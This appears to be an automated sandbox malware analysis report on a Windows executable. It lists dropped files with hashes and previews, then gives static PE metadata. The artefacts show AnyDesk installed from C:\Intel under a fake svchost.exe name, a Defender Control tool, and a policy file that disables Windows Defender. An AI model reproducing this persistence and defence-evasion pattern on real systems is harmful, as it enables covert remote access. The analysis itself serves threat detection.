Process:	C:\Intel\dc.exe
File Type:	data
Category:	dropped
Size (bytes):	33220
Entropy (8bit):	7.730918275075489
Encrypted:	false
SSDEEP:	768:ucjZIYG6A8kiHIgH82NNkIY6zAXohupeNISgTBuda:ul8kpg9NW6vhupUISgoda
MD5:	7F08F61D0CB3BDEF38867217FD81B787
SHA1:	1F487054BD6D22A1FBD3A5AAD610B2897D389D2F
SHA-256:	145D1A291D7962F9C4D2A4FC0323CD1357EFB26F8030E580762DB55022D7BF84
SHA-512:	6E4A84D4BD2D1E52CBB197FF6E04A81C6634D03860522B13D3D8B1B4C90CAB139667AEF4ACCB41480434434F8BA247C3064C252388012A3052DCD7E7D4A98A39
Malicious:	false
Preview:	.p.%.....Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.:..qA..f.y..i9... ....VMf.i..k3.M..<..Lf....g6........F...9...A....o6.....`...\|'..@....Q@...q7...bg1.Qf`... f....S7.L.....mE.....4..M...eD..& ......~&S...o9..&Sj..k6..(`...@.....g4...-...gA.M..>...o6.(...K3)..g1..fT@..e3..<ji0.....L.6...i..`.9.....0N@Y...h.9..Wb.4.........F.j.S..`....&si....../.#..Br....h...).....a2... ?..p.tQ..`..n.-.. .(....`#l...;H.@....@..m9..@.8.pL......`...S....(...'......... .......4.o7...\|3Y.....2(.9..e5...\|.....}M..>..`....&.I...2.`h`U...d.k..B&.......8.... .S...f.P...n...&\|.V...f.`..i8.P.. .wfsP3..9 ._..t....p..mD.M........\|..l.h.8..nb.\|....?........ .....................`0......nh.@&.;3z..2....*.w..$..Q.&..#6.P..... .....3.......D...6..& ..%.1..&..Z..&3`........i6..f.@...@..5.......I. ..5....3`...k@k^...`" . ..`\|..X..'.....k@pD..{.T.........`.T.. l_.3..I.....e...........1.a.....@4............i5..&.@...S....... ...^........O 7...AD .l... .......W........\|.L.....<NAk.....`..@...f......../....(... Y.

C:\Users\user\AppData\Local\Temp\typpaaa

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	111542
Entropy (8bit):	3.429028761339644
Encrypted:	false
SSDEEP:	768:W62wUDwXu72ncwnSI6MMKWEFcwE66CpHNc+L5BLjZhvDyR4V7rS8uo:W62wUDwXNncwnSI6MMK3cmQ4HDZSJo
MD5:	D1A0850A8B128575034B94F0BD05318B
SHA1:	2064B00E81B2D0AFA60D561CCCA2D2C82D9C8414
SHA-256:	C40566AA7677F27F3A633FFD1A98F80FC60EB0B5B1487B756850504E5B462501
SHA-512:	64A1587E6E6FDB6AAC284D8C5A395385BE9605DB391C718CAF0F5F78359A8627D486C9CA6FDD1A253F0F26321FD76695B6EAC44662F87F4AC69D2873CCC679E5
Malicious:	false
Preview:	4D7573744465636C61726556617273[08AEi4755495F52554E4445464D5347[08AEi47554944617461536570617261746F7243686172[08AEi57696E44657465637448696464656E54657874[08AEi312E37[08AEi446566656E64657220436F6E74726F6C[08AEi202D20417574686F7220627920426C75654C696665[08AEi5B434C4153533A64436F6E74726F6C3A76[08AEi5D[08AEi323031352D32303231[08AEi2040557365724E616D6520[08AEi2040436F6D70696C656420[08AEi20404175746F497445786520[08AEi20404F534172636820[08AEi20404175746F497458363420[08AEi20404F5356657273696F6E20[08AEi57696E446566656E64[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi204053637269707444697220[08AEi204057696E646F777344697220[08AEi53797374656D33325C[08AEi2040576F726B696E6744697220[08AEi6B65726E656C33322E646C6C[08AEi7573657233322E646C6C[08AEi61647661706933322E646C6C[08AEi7368656C6C33322E646C6C[08AEi6F6C6533322E646C6C[08A

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\AnyDesk\ad.trace

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	59612
Entropy (8bit):	4.355025154480577
Encrypted:	false
SSDEEP:	768:bjpVSHyZ5KXahxr7o7BA0EIs4vTPukjDyGo:lFREra
MD5:	766E298028BAD5CAFB8A6D0BA1867627
SHA1:	B63A658B99EDACBC3BC468143D2B2301AD797C9A
SHA-256:	D8038D9813F30D42D55948FC4D3A54B2CE9C2A1F44B855EE3C4DAADB6B7A3D77
SHA-512:	D48A713743F2069AD8537A55C36953FFCC43B9815EFC04ABB59B1E6EDCE886AE267BAE3247227775D6652F238CF5D369F3BB5ACD84B9716328C883C13854EFD7
Malicious:	false
Preview:	* * * * * * * * * * * * * * * * * .. info 2025-01-08 16:19:48.961 installer 9196 9200 main - AnyDesk Windows Startup .. info 2025-01-08 16:19:48.961 installer 9196 9200 main - Version 8.0.14 (release/win_8.0.14 13967ce7c71d8c19a49dd697dbd0dec1c8d166bf).. info 2025-01-08 16:19:48.961 installer 9196 9200 main - .. info 2025-01-08 16:19:48.961 installer 9196 9200 main - Command Line params: svchost.exe --install C:\Intel\AnyDesk.. info 2025-01-08 16:19:48.961 installer 9196 9200 main - Process started at 2025-01-08. PID 9196. OS is Windows 8 (64 bit).. info 2025-01-08 16:19:48.961 installer 9196 9200 impl_selector - using sse2 (intrinsics).. info 2025-01-08 16:19:48.961 installer 9196 9200 base.data.config_application - Adding GPO default

C:\Users\user\AppData\Roaming\AnyDesk\service.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with very long lines (1751)
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	6.035930488679458
Encrypted:	false
SSDEEP:	48:uISTGiiWAYlhBuxPErZEvT2/j6tSrtG8/5x25frJs+p137dKlP4n:uISThiWAYljePOqTeeMprf25jJ/Q4n
MD5:	A405B4D20C9349588D9D5B5A262A38CB
SHA1:	CC2D7C3BEF737D59F658B823FFC745A112A6E39D
SHA-256:	6A9C62FA502E1A9299E02FE5C1D8D957164A7702F992A55C08BCD70851478FE4
SHA-512:	3DF3CDC9A134038A2FFE25A226807C566B5736C017640211687E278E635C7501D85339372550A8FEA28B722ACCFE44ED1ADC72D559E8ECE70BA072E458253028
Malicious:	false
Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjUwMTA4MTYxOTUwWhgPMjA3NDEyMjcxNjE5NTBaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEA7Am15O266wokpA6rx2C81DG/PB7iC27TsmkIS50Qfqzkkm+QMky1pcbBxn1r\njbm3cDk0897LNGnXRyPFsa0HrSffGZTRogrjgA5PZmjYWP/BRcKd6VNPqkztoTna\nG/2pCvNhFh2jb00HipacQV3il8C+QtHW3GSe1+zPvgolhKY3NyrOU1OuZMVLWSa9\n4vvYL/0yKYgX4+HYc5szKrWsNKTC5bqFNUzQoOzwtkdOSvxTsT02IHvqS0dlSaoM\np3HlamD57UEx5Q2xz0BE2sBb7y6o1KoFwobrsjW/WU4hu7LLa2C9+PZY409GgcjO\nOb7Syi8pwh7zl4PkLTBuoNQF6QIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQDkr5iD\nY3reopAdi/FSZE74qhHngpScb9sgmP3Jm1dhFdWgOPGW0Fb984gS4DULcFqYW/I7\nbPi8iU2Gh+Uok3HAVqt+1nmCImmUJ18PwBIWekDJroC+DVH2uWVHc9y1Wwr9nP2b\n3OZDkbm5Noy9Uq+fEtgbyXh+QRsJslWGwNQl37PoUCd7t5PTytseQwqLdy4NFIrD\nH8ZsJIuqca4czN8vLSKCSaDcutfKIDa8eEfHykvgpAk1fqGH274I+lSrWhSco1sQ\nBnGlO2OTtV9pZDTPZmD9STxw9Jufs8JQtH17NcQAvzyhUbd1R6gHUOk1kQSJ61dt\nAx9vy13M2A0Fzzx1\n-----END CERTI

C:\Users\user\AppData\Roaming\AnyDesk\system.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	468
Entropy (8bit):	4.642563001856019
Encrypted:	false
SSDEEP:	6:owD6dBgrBwaqQAmvbahZoDVpQgRQUQgRQPYQgRQOYQgfxPZxi3B6QgfxPg3qg3Bu:oW6P8ZqQHvWhaDMroBGgFBGt
MD5:	523A8A2B1B5C1893AF0BE63BF3655F0C
SHA1:	530333E19059B21E74EEBF8D90AFB0287ED04BEE
SHA-256:	F41F71FAEA03CD1DE675B19DBB913C3CBC2B33041433C85E6F71462FD1168CDC
SHA-512:	0097B4BF80408DBEAE315985B0DF9F104145AE0CE1C6AC0A1E36B1BEBFDBF88D19A86DA4342D81B5A99E4796EF575C317CF6569DC8F980E7256D8FEDC5297906
Malicious:	false
Preview:	ad.anynet.fpr=babfd4f63313bc2b3343d6848e8d401ffc847698.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=1.ad.inst.id=903b97651dca34e89fbbb06a6c888b2b.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles.version=1.ad.security.update_version=1.

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with very long lines (508)
Category:	modified
Size (bytes):	1948
Entropy (8bit):	4.68610506472903
Encrypted:	false
SSDEEP:	48:2IsO/ugUHi5BBna7hASQkfenah9D+CxfskLu4lOLc8geHl:2fgZtna7h3MnaiyiF
MD5:	833434BEF1C0C4D557E4D3225F374520
SHA1:	63C4B704275E08C7CA23334B11B3146BEB80DB0C
SHA-256:	69F4F41938CF8A83F4F3FAA63A72E255A794FA2FD3CE4DFB855CB0759CADDDEC
SHA-512:	3F6644DCEDE49DB70B396B4172E1254D28C10EAEDDD523F0FF06BFFDB3BAB3DF4AC57E9340FDE52B0D4DE228B274B72C1B3EEAD44B89AA0A10E084C6C31E55B7
Malicious:	false
Preview:	ad.account.info=6fa74c609a01f31f1f670668df954f4642a4aae8018a18daf42ec0ccaaefc9f0bb63cc5b2f1d3a560ff648310f1fa2df0b53d2e90e4e008262013ecaea925d3e605a99f16d2a69c0da80da91094e0c1c83e1380214981660b7a8d30326bec27374ab0862b47b212f41cf5778b89c5c407882c87b0c86460b861e8ef2fb49a1e31cf459f6cea684e6f5ff0c4f74be6470f0d936814b02f8be671df90852f7bfd7378b914099fec4c5b5101bdc6206cd98614d11cc97f079114f2f8cb70cbb254ff798c8183c559d2b70d69b7bf8e82f29f964a5e897f96b130554aee0cd98a18584c0201121b9f60b87c4c30eaa0decccf820fbe42f28.ad.general.online_status.remote_client=1.ad.invite.created_list_encrypted=6fa74c609a01f31f1f670668df954f4642a4aae8018a18da8656d817213130f68aed40a72cc179fe0bf648310f1fa2df0b53d2e90e4e008262013ecaea92e663c16c31e51fb1a58312376c030cdc1f1b85f3d3afd411681cbff8f7f47690c27374ab0862b47b212f41cf5778b89c811f10027398d7686728beb7e70b59c4f6658c0154dfd086b09eae6c84a2e8625470f0d99b567a0ee9bc886dcda6ecff3d1756c1806804e9b2a5afe6dd1c9387c057888c272ecb095d8e82536dc2d47036f8b02939283dbd2180d4761ced315c0932e

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4QJJR0R22A6D6GWZFNWP.temp

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3432
Entropy (8bit):	3.1633116405142903
Encrypted:	false
SSDEEP:	48:9hUrwMlhYevWevLoyvhUFwNEYevWevmy1:vU0euePU4euex
MD5:	F39405D0E99728F563C5A123694D64A6
SHA1:	1EE1105FC262E7F6C37496E447058A840A6AFDCB
SHA-256:	E61F18C1B70301DDA9FA634884C002238404156C50052D26EAFA45178FDB0A00
SHA-512:	412BDDAC6B8CB43FBF2A64352BED3146270A3FF7507310D1C573321B23A791EBBA03D049E2235604DE94C9069477A836FBD438A3BE76241F00D568F0FB3D3230
Malicious:	false
Preview:	...................................FL..................F.@.. ...u..$.a.....).a....Z..a...ZQ.....................7....P.O. .:i.....+00.../C:\...................P.1.....(Zw...Intel.<......(Z.v(Zx.....6.......................M.I.n.t.e.l.....V.1.....(Zz...AnyDesk.@......(Z.v(Z}............................@v.A.n.y.D.e.s.k.....b.2..ZQ.(Zu. .AnyDesk.exe.H......(Zz.(Zz......K....................c9..A.n.y.D.e.s.k...e.x.e.......K...............-.......J.............W.....C:\Intel\AnyDesk\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w.....C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e.........%SystemDrive%\Intel\AnyDesk\AnyDesk.exe.............................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e...........................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75fdacd8330bac18.customDestinations-ms (copy)

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3432
Entropy (8bit):	3.1633116405142903
Encrypted:	false
SSDEEP:	48:9hUrwMlhYevWevLoyvhUFwNEYevWevmy1:vU0euePU4euex
MD5:	F39405D0E99728F563C5A123694D64A6
SHA1:	1EE1105FC262E7F6C37496E447058A840A6AFDCB
SHA-256:	E61F18C1B70301DDA9FA634884C002238404156C50052D26EAFA45178FDB0A00
SHA-512:	412BDDAC6B8CB43FBF2A64352BED3146270A3FF7507310D1C573321B23A791EBBA03D049E2235604DE94C9069477A836FBD438A3BE76241F00D568F0FB3D3230
Malicious:	false
Preview:	...................................FL..................F.@.. ...u..$.a.....).a....Z..a...ZQ.....................7....P.O. .:i.....+00.../C:\...................P.1.....(Zw...Intel.<......(Z.v(Zx.....6.......................M.I.n.t.e.l.....V.1.....(Zz...AnyDesk.@......(Z.v(Z}............................@v.A.n.y.D.e.s.k.....b.2..ZQ.(Zu. .AnyDesk.exe.H......(Zz.(Zz......K....................c9..A.n.y.D.e.s.k...e.x.e.......K...............-.......J.............W.....C:\Intel\AnyDesk\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w.....C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e.........%SystemDrive%\Intel\AnyDesk\AnyDesk.exe.............................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e...........................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Intel\dc.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	160
Entropy (8bit):	3.218156819855109
Encrypted:	false
SSDEEP:	3:CFlE3A5l1QTal7BcNylRjlyWdl+SliFlhakDBu8hfe1l3W0UJlAll+ll6zll6slG:CFlEESOllcHWn+SkUkDk8hfe18U+/6ze
MD5:	58F8EB09A822C09FC11F5A42BAAE36F1
SHA1:	9E7063EEEE62C8588E0020BEF3A116E9379966AA
SHA-256:	6509C7FC4FA70391399831BBC3D66206D3F6F8F2BB20FFCAC4E04844861D733A
SHA-512:	53806780934BD86BB032EE4A515DFC0E8464A5ECC5F4C8C593304FCD969C1058D443BDEC54E7AE21469ADB942B16693CC9EAF997217ADC69D3618AB0EC99DC1E
Malicious:	false
Preview:	PReg....[.S.o.f.t.w.a.r.e.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	233
Entropy (8bit):	5.0453163161451915
Encrypted:	false
SSDEEP:	6:1jMzYHxbnn/JIAuNhUHdhJgQysMzYHxbnn/K6hUHdhJgaEv:1g0Hxbn/JnumuQm0Hxbn/SuD
MD5:	CD4326A6FD01CD3CA77CFD8D0F53821B
SHA1:	A1030414D1F8E5D5A6E89D5A309921B8920856F9
SHA-256:	1C59482111E657EF5190E22DE6C047609A67E46E28D67FD70829882FD8087A9C
SHA-512:	29CE5532FB3ADF55CAA011E53736507FBF241AFEE9D3CA516A1D9BFFEC6E5CB2F87C4CD73E4DA8C33B8706F96BA3B31F13CE229746110D5BD248839F67EC6D67
Malicious:	true
Preview:	[General]..gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957F-509E-11D1-A7CC-0000F87571E3}]..Version=65537..

\Device\ConDrv

Download File

Process:	C:\Intel\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	399
Entropy (8bit):	3.1361566918100268
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgcdSgOgcoASgOgUE:Vz6ykymUexb1U9cL9coW9UE
MD5:	7AA2821D8F91A998EFD4295B0BED54E6
SHA1:	D3F596147757EC7D67D7C38D1EE12586BDA7224E
SHA-256:	08909997C3C01703604D59A11DD7B0A0A9DFB17ADB60E2F98367B1F8380ECF11
SHA-512:	97DFCB19331CA737D8C3430E00A7227AB9120DB011E4DFC32AE44E2390ED1AA85049836A1A2B48C47FB5C606822BF9E43B4B9EC34177BE73DF3FE085972C8D14
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0.100 4477 100 4477 0 0 6226 0 --:--:-- --:--:-- --:--:-- 6226..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.847096939033003
TrID:	Win32 Executable (generic) a (10002005/4) 99.24% InstallShield setup (43055/19) 0.43% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	eqRHH2whJu.exe
File size:	956'418 bytes
MD5:	685f86f41db34f2ec805449037aa32c9
SHA1:	8391ca015c12b166b806f196b04bb617b3d8d377
SHA256:	f18374fa790c5bbf7bc272c10a26f56db99b7d7eee08c986fa4bd20c3c455387
SHA512:	3f91b111430ce68f1c0f3a295becce51d44012f662c0acb01b404a2e459480db17dfbdaa394700c55344fb666e1f95c91259b33882e4a58af7411385deaa2229
SSDEEP:	24576:/X48QE+UMvlJSuoBa6xGuPAIV8D/6kN1betf2Zo0bKru:/Xz+KUM/ID6yBetOAi
TLSH:	7F150219A1022235D49357704CD7E22EF936FF58562AD8CBB6D83F099B331EA151A38F
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2564a4a6a5bfb5af

Static PE Info

General

Entrypoint:	0x425468
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b8494300a1f7342d4c600a7b12e15925

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00425388h
call 00007F099D1E2799h
mov eax, 004254C8h
call 00007F099D1E519Fh
mov edx, dword ptr [00428840h]
mov dword ptr [edx], eax
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [00428848h]
call 00007F099D200959h
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [004287DCh]
call 00007F099D1F99EFh
mov eax, dword ptr [00428840h]
call 00007F099D1E8421h
call 00007F099D1E1654h
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b000	0x1798	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x31000	0x7734	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1884	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x244cc	0x24600	bac8bae7a5e5326cf49943b90d1c062a	False	0.5598622744845361	data	6.594375997321255	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x26000	0x2894	0x2a00	abafcbfbd7f8ac0226ca496a92a0cf06	False	0.31556919642857145	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 4230402	3.7937570409882295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x29000	0x10f5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2b000	0x1798	0x1800	7a4934595db0efc364c3982c4e335d8c	False	0.3977864583333333	data	4.8854949370233145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x2d000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2e000	0x18	0x200	c4fdd0c5c9efb616fcc85d66056ca490	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1884	0x1a00	867a1120317d51734587a74f6ee70016	False	0.7889122596153846	data	6.586647864611828	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x31000	0x7734	0x7800	8cfdaa0ecd29084d5295eec60aebe0c2	False	0.44248046875	data	5.6884982329546645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x31330	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.4391891891891892
RT_ICON	0x31458	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 832			0.7557339449541285
RT_ICON	0x317c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.2567204301075269
RT_ICON	0x31aa8	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200			0.5694444444444444
RT_ICON	0x32750	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 7296			0.4533805888767721
RT_ICON	0x343f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.6524822695035462
RT_ICON	0x34860	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.46810506566604126
RT_ICON	0x35908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.4063278008298755
RT_RCDATA	0x37eb0	0x10	data			1.5
RT_RCDATA	0x37ec0	0x110	data			0.9044117647058824
RT_GROUP_ICON	0x37fd0	0x76	data			0.6864406779661016
